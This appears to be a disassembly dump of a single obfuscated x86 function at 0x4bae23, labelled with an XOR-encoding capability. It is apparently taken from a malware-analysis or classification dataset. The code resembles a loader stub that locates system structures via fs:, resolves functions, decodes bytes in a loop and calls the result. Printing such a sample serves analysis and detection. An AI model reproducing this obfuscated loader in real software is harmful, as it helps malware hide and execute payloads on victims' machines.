Function at 0x4bae23
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x418361b
xor ecx, 0x418361f
sub esp, ecx
xor ecx, ecx
add ecx, esp
xchg eax, ecx
mov dword [eax], edi
mov edx, 0x10412cbe
xor edx, 0x10412cbe
xor edx, ebx
mov edi, 0xfffffffc
add esp, edi
mov ecx, 0
xor ecx, esp
mov dword [ecx], edx
mov edx, esi
mov eax, edx
push eax
pop edi
push 0xb6321cbb
mov eax, 0x49cde347
pop ebx
xor eax, ebx
add esp, eax
mov dword [esp], edi
mov eax, 0x1f2d4711
xor eax, 0x6f30192a
push eax
mov ecx, 0x6fceff42
mov ebx, 0xfb00a51
xor ebx, ecx
mov edx, dword [esp]
add esp, 4
xor ebx, edx
mov ecx, 0x20241008
mov esi, 0x5900c444
xor ecx, esi
xor ebx, ecx
mov eax, 0x69477f7c
xor ebx, eax
mov ecx, dword fs:[ebx]
push 0x37f33fe8
mov edx, 0x2bfa4195
pop eax
xor edx, eax
mov ebx, 0x109f0762
mov edi, 0xf36986cf
xor edi, ebx
xor edi, edx
sub ecx, edi
push 0x1952d563
mov edx, 0x1952d563
pop edi
xor edx, edi
xor edx, ecx
mov esi, 0x2b600b26
add esi, 0xd49ff4d9
add edx, esi
mov ebx, dword [edx + 1]
mov esi, 0x8341241
mov edx, 0x448a4828
xor esi, edx
mov edi, 0x4cbe5a65
xor esi, edi
add ebx, esi
mov esi, dword [ebx]
mov edx, 0x21388400
mov ebx, 0x16850169
xor edx, ebx
mov eax, 0x37bd8565
xor edx, eax
add esi, edx
mov edx, 0
xor edx, esi
mov ebx, 0
xor ebx, edx
mov edi, 0
mov eax, 4
xor edi, eax
sub esp, edi
mov dword [esp], ebx
pop edx
mov eax, edx
push eax
pop ecx
mov ebx, 4
sub esp, ebx
mov eax, 0
xor eax, esp
mov dword [eax], ecx
mov esi, dword [edx]
xor edi, edi
add edi, esi
mov edx, 0x3f541210
add edx, 0xc0abed8f
sub edi, edx
push 0x69ec8a20
mov eax, 0x69ec8a21
pop ebx
xor eax, ebx
sub edi, eax
mov ecx, dword [edi - 0x60]
mov esi, 0x12020080
mov edx, 0x408cb304
xor esi, edx
mov ebx, 0x1c44f77a
xor ebx, 0xb135bb2a
xor esi, ebx
sub ecx, esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ecx
pop edx
push 0x607300a1
mov edi, 0x607300d7
pop esi
xor edi, esi
add edx, edi
mov edi, 0x3d6f2c93
mov eax, 0xc290d36c
xor edi, eax
add edx, edi
mov ebx, dword [edx - 0x75]
and ebx, 0xffff
xor eax, eax
add eax, ebx
mov edx, 0x4b18858b
xor edx, 0x9e415e84
xor eax, edx
mov esi, 0x157b637
xor eax, esi
xor eax, 0x2bf192c7
and eax, 0x18
and ebx, 0xffffffe7
or ebx, eax
mov edi, ebx
sub esp, 4
mov dword [esp], edi
pop esi
mov edi, esi
xchg edi, edx
or edx, edx
jne 0x4bad01
mov edx, 0x5ca04809
xor edx, 0x5ca0480d
mov esi, 0
mov edi, 0
xor esi, edi
xor edx, esi
add ecx, edx
mov edi, ecx
sub esp, 4
mov dword [esp], edi
pop ebx
mov edx, 0x656ba5f5
mov esi, 0x9a945a08
xor edx, esi
sub ebx, edx
dec ebx
mov eax, dword [ebx - 2]
mov ecx, 0x5524b06a
add ecx, 0xaadb4f92
add esp, ecx
mov ebx, 0x3fa0bbad
add ebx, 0xc05f4453
xor ebx, esp
mov dword [ebx], eax
mov ecx, eax
xchg edx, ecx
xchg edi, edx
mov esi, 0x5b63a7fe
xor esi, 0xa49c5824
add edi, esi
mov ecx, 0xffffffff
add edi, ecx
mov ebx, dword [edi + 0x27]
and ebx, 0xff
xor ebx, 0x6b
test ebx, ebx
je 0x4babe5
mov ecx, 0x13c6b636
xor ecx, 0x61739a65
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x72b52c73
and ecx, 0x8d4ad38c
or ecx, edx
xor ebx, ecx
sub edi, edi
add edi, ebx
add edi, 0
jne 0x4bad00
pop eax
mov ebx, 0x4139a94a
add ebx, 0x314a813d
mov esi, 0x8d7bd57f
add ebx, esi
add eax, ebx
push eax
pop edx
xchg edx, ebx
mov esi, 0x744744a4
add esi, 0x8bb8bb58
add esp, esi
mov dword [esp], ebx
push 0x7f345657
mov ebx, 0x7f345657
pop ecx
xor ebx, ecx
xor ebx, eax
push 0xffbf3491
mov ecx, 0x40cb73
pop edx
xor ecx, edx
add ebx, ecx
mov esi, dword [ebx + 0x1e]
and esi, 0xff
push 0x60a657d8
mov ebx, 0x60a657d4
pop edx
xor ebx, edx
mov ecx, 0x123d948b
xor ecx, 0x123d94c9
xor ebx, ecx
xor esi, ebx
sub edx, edx
add edx, esi
or edx, edx
je 0x4bac6f
xor esi, 0x20
xor edi, edi
add edi, esi
or edi, edi
jne 0x4bad00
pop edi
mov ebx, 0x542d398b
mov eax, 0x542d398b
xor eax, ebx
mov esi, 0x464e2f9c
add esi, 0xb9b1d06a
xor eax, esi
add edi, eax
sub eax, eax
add eax, edi
mov ebx, 0x6fab9843
mov ecx, 0x905467a0
xor ebx, ecx
sub eax, ebx
mov edx, dword [eax - 0x1d]
push 0x3378f924
mov edi, 0x2d1a8f0c
pop ebx
xor edi, ebx
push edi
mov eax, 0x30004004
mov edi, 0x422802a
xor eax, edi
mov esi, dword [esp]
add esp, 4
xor eax, esi
xor edx, eax
mov edi, 0x61780164
mov ebx, 0x6dfb61dc
xor ebx, edi
xor edx, ebx
mov esi, edx
xor esi, 0xffffffff
and esi, 0x26f1d68d
and edx, 0xd90e2972
or edx, esi
sub esi, esi
add esi, edx
or esi, edx
je 0x4bad62
jmp 0x4bad01
pop eax
mov esi, esp
mov ebx, 0xffffffff
add esi, ebx
mov eax, dword [esi + 1]
mov ecx, 0x2d489ceb
mov ebx, 0x2d489cef
xor ebx, ecx
add esp, ebx
xor edx, edx
add edx, eax
xchg ecx, edx
mov edx, 0x12
add ecx, edx
mov esi, 8
add ecx, esi
mov edx, 0x520a0c6d
add edx, 0xadf5f394
sub ecx, edx
mov ebx, dword [ecx - 0x19]
mov ecx, ebx
push ecx
mov edi, dword [esp]
add esp, 4
push 0x9400dd81
mov eax, 0x6bff227d
pop ecx
xor eax, ecx
add esp, eax
mov dword [esp], edi
jmp 0x4baa62
pop ecx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ecx
pop esi
push 0xcca7cb34
mov ebx, 0x335834cb
pop edi
xor ebx, edi
add esi, ebx
mov edx, dword [esi + 1]
mov esi, dword [edx]
mov ebx, 0x7fa9392d
add ebx, 0xa4e772ca
mov edi, ebx
xor edi, 0xffffffff
and edi, 0xdb6f541f
and ebx, 0x2490abe0
or ebx, edi
sub esi, ebx
mov edi, 0x26eee802
xor edi, 0x26eee802
xor edi, esi
mov edx, 0x1356601c
mov ebx, 0xeca99f80
xor edx, ebx
sub edi, edx
dec edi
mov ecx, dword [edi - 0x63]
xor edi, edi
add edi, ecx
push edi
pop eax
mov ebx, 0x7ae991c9
add ebx, 0x85166e3b
sub esp, ebx
mov dword [esp], eax
xor edi, edi
add edi, ecx
mov eax, 0x25000c00
mov ebx, 0x18044344
xor eax, ebx
mov ecx, 0x251165aa
add ecx, 0x9dea4ad6
xor eax, ecx
sub edi, eax
mov esi, edi
xchg edx, esi
mov ecx, 0
xor ecx, edx
mov eax, 0x1113170c
mov edx, 0x1113170c
xor edx, eax
add ecx, edx
dec ecx
mov ebx, dword [ecx + 1]
mov ecx, esp
mov eax, 1
sub ecx, eax
mov edx, dword [ecx + 1]
add ebx, edx
mov edi, 0x1472150
mov ecx, 0x42008402
xor edi, ecx
mov ecx, 0x623ec619
mov esi, 0xde869cc3
xor esi, ecx
xor esi, edi
sub ebx, esi
mov ebx, dword [ebx]
mov edx, esp
mov ecx, 1
add edx, ecx
mov ecx, 0x17
add edx, ecx
mov edi, dword [edx - 0x18]
add ebx, edi
mov edi, 0x28151b03
add edi, 0xf
push edi
mov ecx, 0x3d94829e
mov edx, 0x158199ac
xor edx, ecx
mov esi, dword [esp]
sub esp, 0xfffffffc
xor edx, esi
add ebx, edx
mov edx, 0xea9b7542
add edx, 0x4a
push edx
push 0x750bc9f9
mov edx, 0x3c2d97e2
pop edi
xor edx, edi
mov ecx, 0x15888448
xor ecx, 0x49ca5023
xor ecx, edx
pop esi
xor ecx, esi
add ecx, ebx
mov ecx, dword [ecx]
mov edi, esp
sub esp, 4
mov dword [esp], edi
mov edx, dword [esp]
add esp, 4
mov edi, 0x6aa706fa
mov eax, 0x9558f905
xor eax, edi
add edx, eax
mov esi, dword [edx + 1]
add ecx, esi
mov edi, 3
sub esp, edi
mov edx, 1
sub esp, edx
mov esi, 0
mov edx, 0
xor esi, edx
xor esi, esp
mov dword [esi], ecx
mov eax, 0x42181450
mov edi, 0x23a008
xor eax, edi
push eax
mov edx, 0x547bcc53
xor edx, 0x6f8d41d2
pop esi
xor edx, esi
push 0x85f5a3a4
mov ecx, 0x3c7658f
pop eax
xor ecx, eax
add edx, ecx
add edx, ebx
xor ecx, ecx
add ecx, edx
mov esi, 0
xor esi, ecx
mov edi, 0x5dbe8d5d
add edi, 0xa24172a4
sub esi, edi
mov edx, dword [esi + 1]
mov ecx, dword [esp + 4]
add edx, ecx
mov edi, 0x7390c49
mov ecx, 0x7390c49
xor ecx, edi
xor ecx, edx
xor esi, esi
add esi, ecx
mov edi, 4
sub esp, edi
mov dword [esp], esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ebx
mov esi, dword [esp]
sub esp, 0xfffffffc
mov ecx, 0x74c667f9
xor ecx, 0x74c667ed
sub esi, ecx
mov ebx, dword [esi + 0x14]
mov ecx, dword [esp + 8]
add ebx, ecx
mov ecx, ebx
mov esi, 0x63297bb
add esi, 0xf9cd687f
add ecx, esi
push 0x27bac19b
mov esi, 0x27bac19a
pop edi
xor esi, edi
sub ecx, esi
mov edx, dword [ecx - 0x39]
mov eax, dword [esp + 8]
add edx, eax
mov ecx, 0x2d2800aa
xor ecx, 0x4c7dce78
mov eax, 0x6155cecd
sub ecx, eax
add edx, ecx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], edx
mov ecx, dword [esp]
sub esp, 0xfffffffc
mov edi, 0x2fb26d15
xor edi, 0xd04d92a7
sub ecx, edi
mov edx, dword [ecx - 0x4e]
xor eax, eax
add eax, edx
mov ecx, 0x41000802
mov edi, 0xa000b024
xor ecx, edi
xor eax, ecx
mov esi, 0xa111a47
xor eax, esi
xor eax, 0x14ee5d9e
and eax, 0x6441636f
and edx, 0x9bbe9c90
or edx, eax
mov eax, edx
mov esi, eax
mov eax, esi
add esp, 0xfffffffc
mov dword [esp], eax
pop edi
and edi, edi
je 0x4bb091
mov ecx, 0x244cdc7d
add ecx, 0x24535d35
mov edi, 0x48a039ae
sub ecx, edi
add ebx, ecx
mov edi, esp
mov ecx, edi
mov eax, 0x4c
add ecx, eax
mov esi, dword [ecx - 0x4c]
push 0xbec7ddc4
mov edx, 0x41382238
pop eax
xor edx, eax
sub esp, edx
push 0x60faf86b
mov edi, 0x60faf869
pop ecx
xor edi, ecx
mov eax, 0x34e6c717
xor eax, 0x34e6c717
xor edi, eax
add esi, edi
xor edx, edx
add edx, esi
mov eax, 0x60bd7b4f
mov edi, 0x9f4284b3
xor edi, eax
add esp, edi
mov dword [esp], edx
jmp 0x4baf87
push esp
pop ebx
dec ebx
mov eax, dword [ebx + 1]
mov ecx, 0x6b8be42c
mov esi, 0x94741bd0
xor ecx, esi
sub esp, ecx
push eax
pop edi
xchg edx, edi
mov edi, 0x75cba2a0
mov esi, 0x75cba2c2
xor esi, edi
add edx, esi
mov eax, dword [edx - 0x62]
and eax, 0xffff
add eax, eax
sub ecx, ecx
add ecx, eax
push ecx
pop esi
xchg esi, ebx
add eax, ebx
xor esi, esi
add esi, esp
mov ebx, 0x63
sub esi, ebx
mov edi, dword [esi + 0x63]
mov ebx, 0x7aa565ce
xor ebx, 0x7aa565ca
add esp, ebx
add edi, eax
mov ecx, edi
push 0xe2305637
mov edx, 0x1dcfa9c8
pop ebx
xor edx, ebx
add ecx, edx
mov edi, dword [ecx + 1]
mov esi, 0
xor esi, esp
add esi, 9
add esi, 0x22
mov ebx, 0xffffffff
add esi, ebx
mov eax, dword [esi - 0x2a]
mov ebx, 0x7b8c21c
add ebx, 0xf8473de8
add esp, ebx
add edi, eax
sub ebx, ebx
add ebx, edi
push 0x48fc662d
mov edx, 0x48fc6629
pop esi
xor edx, esi
sub esp, edx
mov dword [esp], ebx
mov ebx, 0x3f418000
mov esi, 0xc0920000
xor ebx, esi
push ebx
mov ebx, 0x20d3e18c
xor ebx, 0x61aa93ed
push ebx
mov edx, 0x4ed8a7b6
xor edx, 0x3cbacefa
push edx
push 0x493cc7d8
mov edx, 0x2d5da894
pop esi
xor edx, esi
push edx
mov edx, esp
push edx
pop ebx
mov ecx, 0x7e7048fc
add ecx, 0x818fb700
add esp, ecx
mov dword [esp], ebx
mov edx, eax
push edx
pop ecx
mov edx, 0x4215bd32
mov ebx, 0xbdea42ce
xor ebx, edx
add esp, ebx
mov dword [esp], ecx
call edi
mov edx, 0x4eeabef9
xor edx, 0x61b61177
mov esi, 0x7c732339
xor edx, esi
xor edx, 0x532f8ca7
add esp, edx
mov ecx, eax
push ecx
pop ebx
push 0x777ac42a
mov ecx, 0x777ac42e
pop esi
xor ecx, esi
sub esp, ecx
mov dword [esp], ebx
call fcn.004bb6d3
mov edx, 0x1060340
mov eax, 0x62591ca8
xor edx, eax
mov esi, 0x7b9f565
add esi, 0x94e6eab1
xor edx, esi
sub ecx, edx
mov esi, 0x177c14e9
xor esi, 0x177c14ed
sub esp, esi
mov edx, esp
mov esi, edx
xor ebx, ebx
add ebx, esi
mov dword [ebx], ecx
mov ecx, 0x27a02800
mov edx, 0x18015500
xor ecx, edx
push ecx
mov edx, 0x313b3e43
xor edx, 0x5254522f
push edx
mov eax, 0x42987999
xor eax, 0x3f418ec
push eax
push 0x22a0419b
mov edx, 0x56d228cd
pop esi
xor edx, esi
push edx
push 0xe6105bbc
mov edi, 0x791eb6bc
pop esi
xor edi, esi
push edi
mov ecx, 0x32232845
mov edi, 0x104420
xor ecx, edi
push ecx
mov esi, 0x42024049
mov ebx, 0x2c702502
xor esi, ebx
push esi
mov ebx, dword [esp + 0x20]
mov ecx, esp
xchg edi, ecx
mov ecx, edi
mov edx, ecx
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], edx
call ebx
mov ecx, 0x1a268059
mov esi, 0x40c832a0
xor ecx, esi
mov ebx, 0x52083000
mov edx, 0x8e682f5
xor ebx, edx
xor ebx, ecx
add esp, ebx
xor edi, edi
add edi, esp
xor edx, edx
add edx, edi
mov ebx, edx
mov ecx, ebx
mov edi, 4
sub esp, edi
mov dword [esp], ecx
mov esi, eax
mov edi, 0
mov edx, 4
xor edi, edx
sub esp, edi
mov dword [esp], esi
mov ecx, dword [esp + 0x20]
call ecx
mov esi, 0x7efd94cc
mov edx, 0x7ceccdfb
xor edx, esi
mov ebx, 0x2115927
xor edx, ebx
add esp, edx
mov ecx, 0x27
add ecx, 0x19
push ecx
mov edi, 0x39a7e765
xor edi, 0x39a7f765
add esp, 0xfffffffc
mov dword [esp], edi
mov esi, 0xe080
mov ecx, 0x1440
xor esi, ecx
push esi
push 0x405e431d
mov ebx, 0x405e431d
pop ecx
xor ebx, ecx
push ebx
call eax
push esp
pop ecx
mov esi, 0xffffffec
add ecx, esi
mov edx, dword [ecx + 0x14]
mov esi, 0x137593ec
mov edi, 0xec8a6c10
xor esi, edi
sub esp, esi
mov edi, 0x3a8a6574
mov ecx, 0x3012ce7c
xor ecx, edi
mov esi, 0xa98ab08
xor ecx, esi
xor ecx, eax
mov esi, 0
mov edi, 0
xor esi, edi
xor esi, ecx
mov eax, 4
sub esp, eax
mov edi, esp
mov dword [edi], esi
mov esi, 0x709be6a
xor esi, 0xf8f64196
add esp, esi
xor eax, eax
add eax, esp
xchg edi, eax
mov dword [edi], edx
mov esi, 0x572e99c1
mov ebx, 0x231d0e2f
xor ebx, esi
mov esi, 0x743398ee
sub ebx, esi
sub edx, ebx
push 0x5b29a75
mov eax, 0x5b26ec3
pop esi
xor eax, esi
push eax
mov al, byte [edx]
mov byte [ecx], al
mov ebx, 0x495f0abb
mov edi, 0x79b1caf6
xor edi, ebx
mov eax, 0x2b96ce72
xor eax, 0x1b780e3e
xor eax, edi
add edx, eax
mov edi, 0x61d230f4
mov esi, 0x7fd1a207
xor esi, edi
mov eax, 0x1e0392f2
xor esi, eax
add ecx, esi
mov eax, dword [esp]
mov edi, 0
sub esp, edi
mov esi, 0xfffffffc
sub esp, esi
dec eax
mov esi, eax
push esi
mov ebx, dword [esp]
add esp, 4
mov esi, 0x740808a5
xor esi, 0x740808a1
sub esp, esi
mov dword [esp], ebx
cmp eax, 0
jne 0x4bb3bd
xor edx, edx
add edx, esp
mov esi, 0x36
add edx, esi
mov eax, 0xffffffff
add edx, eax
mov ecx, dword [edx - 0x35]
mov esi, 0xd8f5c82
mov edx, 0xd8f5c86
xor edx, esi
add esp, edx
mov ecx, 0x13a89d83
xor ecx, 0x191310db
push ecx
push 0x61a6a28b
mov edx, 0x53a8eabf
pop esi
xor edx, esi
push edx
mov ebx, 0x3554e0e5
add ebx, 0x36050f5
mov ecx, dword [esp]
add esp, 4
xor ebx, ecx
mov esi, esp
sub esi, 0xffffffb5
mov eax, dword [esi - 0x4b]
mov esi, 0xfffffffc
sub esp, esi
xor ebx, eax
mov eax, esp
mov edx, eax
dec edx
mov edi, dword [edx + 1]
mov edx, 0x3556d68e
xor edx, 0x3556d68a
add esp, edx
mov esi, esp
mov edx, 0xffffffd7
add esi, edx
mov edx, 1
sub esi, edx
mov ecx, dword [esi + 0x2a]
mov esi, 0x3a1c78a2
mov edx, 0xc5e3875e
xor edx, esi
sub esp, edx
mov eax, 0x379977b8
add eax, 0x96
push eax
mov edx, 0x324d8147
xor edx, 0x5d40dbc
mov esi, dword [esp]
sub esp, 0xfffffffc
xor edx, esi
add ecx, edx
mov esi, 0x13b5e3d0
mov edx, 0xec4a1c2c
xor edx, esi
add esp, edx
mov eax, 0x624acb7b
xor eax, 0x624acb7b
xor eax, esp
mov dword [eax], ebx
mov eax, 0x3a58bd43
mov esi, 0xc5a742bf
xor esi, eax
add esp, esi
mov esi, esp
xchg esi, eax
mov esi, eax
xchg esi, edx
mov dword [edx], edi
mov edx, 0
xor edx, ecx
mov esi, 0
xor esi, edx
mov eax, 4
mov edx, 0
xor eax, edx
sub esp, eax
mov dword [esp], esi
sub ebx, ebx
mov bl, byte [ecx]
add edi, ebx
mov bl, byte [edi]
pop ecx
pop edi
mov byte [ecx], bl
mov eax, 0x1c6e0ebd
xor eax, 0x14684b4f
mov edx, 0xf7f9ba0d
xor eax, edx
add ecx, eax
mov eax, esp
mov edx, eax
mov eax, 0x41
add edx, eax
mov esi, 1
sub edx, esi
mov ebx, dword [edx - 0x40]
mov edx, 0x3240275f
add edx, 0xcdbfd89d
sub esp, edx
mov esi, 0x3a848404
mov edx, 0x1092801
xor esi, edx
mov edx, 0x14b30d57
mov eax, 0xd0c15ead
xor eax, edx
xor esi, eax
add ebx, esi
mov edx, 0
xor edx, ebx
mov esi, edx
push esi
pop eax
or eax, eax
jne 0x4bb4e8
push 0x57aa572c
mov edx, 0x26906202
pop esi
xor edx, esi
mov ebx, 0x8c1c000
mov esi, 0x86040ad1
xor ebx, esi
xor ebx, edx
sub ecx, ebx
mov ebx, 0
xor ebx, ecx
mov edx, ebx
xchg esi, edx
mov edi, 0x7a7f1ec
mov ebx, 0xf8580e10
xor edi, ebx
add esp, edi
mov dword [esp], esi
xor ecx, ecx
add ecx, esp
sub ecx, 1
mov eax, dword [ecx + 1]
push 0xee89a7fd
mov edx, 0x11765801
pop ecx
xor edx, ecx
sub esp, edx
call eax
mov edx, 0x79b40d94
mov ecx, 0x1b0437e9
xor ecx, edx
mov edx, 0x73633361
mov eax, 0x644504f3
xor eax, edx
xor eax, ecx
mov eax, 0
xor eax, esp
add eax, 0xffffffff
mov esi, dword [eax + 1]
mov ecx, 0x522c839
mov edx, 0xfadd37c5
xor edx, ecx
sub esp, edx
mov ecx, 0x3e72e7b
add ecx, 0x4886ead0
mov edx, 0x6409b18e
xor ecx, edx
mov edx, 0x616fa37d
mov eax, 0x82fbad1c
xor eax, edx
add ecx, eax
pop ebx
push 0x4d0469f2
mov ecx, 0x4d80f892
pop eax
xor ecx, eax
mov eax, 0x37c0e8fc
mov edx, 0x5d9793cc
xor edx, eax
mov eax, 0x6a7473b1
xor edx, eax
xor ecx, edx
mov ecx, esp
sub ecx, 1
mov edi, dword [ecx + 1]
push 0x9dc44378
mov ecx, 0x623bbc84
pop eax
xor ecx, eax
sub esp, ecx
ret